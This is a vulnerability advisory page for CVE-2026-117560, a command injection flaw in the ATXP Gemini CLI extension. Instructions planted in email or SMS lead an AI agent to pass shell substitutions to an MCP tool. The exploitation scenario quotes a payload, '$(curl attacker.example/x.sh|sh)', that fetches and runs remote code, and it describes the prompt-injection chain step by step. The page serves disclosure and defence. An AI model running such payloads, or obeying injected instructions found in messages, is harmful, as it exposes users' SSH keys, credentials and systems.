CVE-2026-117560: ATXP Gemini CLI ext: command injection via MCP tools

HIGH

Published October 27, 2026

CISO Take

The ATXP Gemini CLI extension (through 1.0.0) passes MCP tool parameters such as message_id, subject and query into a shell command inside runAtxp() without sanitizing them. An attacker can plant $() or backtick substitutions in an email or SMS, and the AI agent that reads it will pass them to the tool, which runs them as the local user. This is indirect prompt injection chained into OS command execution (CWE-78, CVSS 7.8). No attacker interaction with the victim is needed beyond sending a message. There is no KEV listing, no public exploit, no Nuclei template and no EPSS score yet, so mass exploitation is not currently evidenced. The package has 3 other CVEs, and no patched version is listed. Uninstall or disable the extension until a fix ships, and review agent hosts that use it for unexpected child processes and credential exposure.

Sources:NVDATLASVulnCheck advisoryGitHub (atxp-dev/atxp)

What is the risk?

Rated high (CVSS 7.8). The vector is local with low complexity, but the attacker only needs to get text into an email or SMS the agent processes, so practical reach is closer to remote. Confidentiality, integrity and availability impact are all high. The attacker's commands run with the privileges of the developer or user running the Gemini CLI, which often means access to source code, SSH keys, cloud credentials and API tokens. No exploitation in the wild is known, no public exploit exists, and EPSS is unavailable. Package risk is unscored, a patched version is not identified, and the package already has 3 other CVEs, which suggests weak security hygiene.

How does the attack unfold?

Initial Access

Attacker sends an email or SMS containing hidden $() or backtick payloads and instructions aimed at the AI agent.

AML.T0051.001

Tool Invocation

The agent reads the message and calls the ATXP MCP tool with the attacker-controlled message_id, subject or query parameter.

AML.T0053

Command Execution

runAtxp() interpolates the unsanitized parameter into a shell command, which executes the injected substitution as the local user.

AML.T0050

Impact

The attacker steals credentials and source code from the host and can establish persistence or move laterally.

AML.T0112.000

Initial Access

Attacker sends an email or SMS containing hidden $() or backtick payloads and instructions aimed at the AI agent.

AML.T0051.001

Tool Invocation

The agent reads the message and calls the ATXP MCP tool with the attacker-controlled message_id, subject or query parameter.

AML.T0053

Command Execution

runAtxp() interpolates the unsanitized parameter into a shell command, which executes the injected substitution as the local user.

AML.T0050

Impact

The attacker steals credentials and source code from the host and can establish persistence or move laterally.

AML.T0112.000

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
Gemini CLI	npm	—	No patch
108.2KPushed 7d ago20% patched~0d to patchFull package profile →

Do you use Gemini CLI? You're affected.

How severe is it?

CVSS 3.1

7.8 / 10

EPSS

0.7%

chance of exploitation in 30 days

Higher than 51% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

No known exploitation

Sophistication

Trivial

What is the attack surface?

AVLocal

ACLow

PRLow

UINone

SUnchanged

CHigh

IHigh

AHigh

What should I do?

1 step

1) Remove or disable the ATXP Gemini CLI extension (through 1.0.0) until the maintainers publish a fixed release. Track atxp-dev/atxp issue #15 and the VulnCheck advisory for a patch. 2) If it must stay in use, require manual approval for every MCP tool call and stop the agent from processing untrusted inbound email or SMS. 3) Run the agent in a sandbox, container or low-privilege account with no access to production credentials, SSH keys or cloud tokens. 4) The maintainers should replace shell-string execution with execFile/spawn and an argument array, and validate parameters against strict allowlists. 5) Detect by monitoring for child processes spawned by the Node/Gemini CLI process, shell metacharacters ($(, backticks) in MCP tool arguments, and unexpected outbound connections from developer hosts. 6) Rotate any credentials on hosts where the extension processed untrusted messages.

How is it classified?

Code ExecutionPrompt InjectionSupply ChainPluginAgentAML.T0050- Command and Scripting Interpreter AML.T0051.001- Indirect AML.T0053- AI Agent Tool Invocation AML.T0112.000- Local AI Agent

Which compliance frameworks are affected?

This CVE is relevant to:

ISO 42001

A.10.3-Suppliers

NIST AI RMF

MANAGE 2.3-Respond to previously unknown risks and treat identified AI risks

OWASP LLM Top 10

LLM01-Prompt InjectionLLM05-Improper Output HandlingLLM06-Excessive Agency

Frequently Asked Questions

What is CVE-2026-117560?

Is CVE-2026-117560 actively exploited?

No confirmed active exploitation of CVE-2026-117560 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-117560?

1) Remove or disable the ATXP Gemini CLI extension (through 1.0.0) until the maintainers publish a fixed release. Track atxp-dev/atxp issue #15 and the VulnCheck advisory for a patch. 2) If it must stay in use, require manual approval for every MCP tool call and stop the agent from processing untrusted inbound email or SMS. 3) Run the agent in a sandbox, container or low-privilege account with no access to production credentials, SSH keys or cloud tokens. 4) The maintainers should replace shell-string execution with execFile/spawn and an argument array, and validate parameters against strict allowlists. 5) Detect by monitoring for child processes spawned by the Node/Gemini CLI process, shell metacharacters ($(, backticks) in MCP tool arguments, and unexpected outbound connections from developer hosts. 6) Rotate any credentials on hosts where the extension processed untrusted messages.

What systems are affected by CVE-2026-117560?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, MCP tool servers, AI coding assistants / CLI agents, developer workstations.

What is the CVSS score for CVE-2026-117560?

CVE-2026-117560 has a CVSS v3.1 base score of 7.8 (HIGH). The EPSS exploitation probability is 0.65%.

What is the AI security impact?

Affected AI Architectures

agent frameworksMCP tool serversAI coding assistants / CLI agentsdeveloper workstations

MITRE ATLAS Techniques

AML.T0050Command and Scripting Interpreter

AML.T0051.001Indirect

AML.T0053AI Agent Tool Invocation

AML.T0112.000Local AI Agent

Compliance Controls Affected

ISO 42001: A.10.3

NIST AI RMF: MANAGE 2.3

OWASP LLM Top 10: LLM01, LLM05, LLM06

What are the technical details?

Original Advisory

ATXP Gemini CLI extension through 1.0.0 contains an OS command injection vulnerability in runAtxp() that allows attackers to execute shell commands through unsanitized MCP tool parameters. Attackers can plant instructions in email or SMS content to inject $() or backtick substitutions into parameters like message_id, subject, or query, running commands as the user.

Exploitation Scenario

An attacker sends an email to a developer who uses Gemini CLI with the ATXP extension to triage their inbox. The email body or subject contains instructions to call the ATXP tool with a parameter like message_id set to '$(curl attacker.example/x.sh|sh)'. The agent reads the message, follows the injected instruction and invokes the MCP tool. runAtxp() builds a shell command from the unsanitized parameter, and the shell executes the substitution as the developer. The payload steals SSH keys, cloud credentials and environment tokens, then installs persistence.

Weaknesses (CWE)

CWE-78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

[Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
[Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Source: MITRE CWE corpus.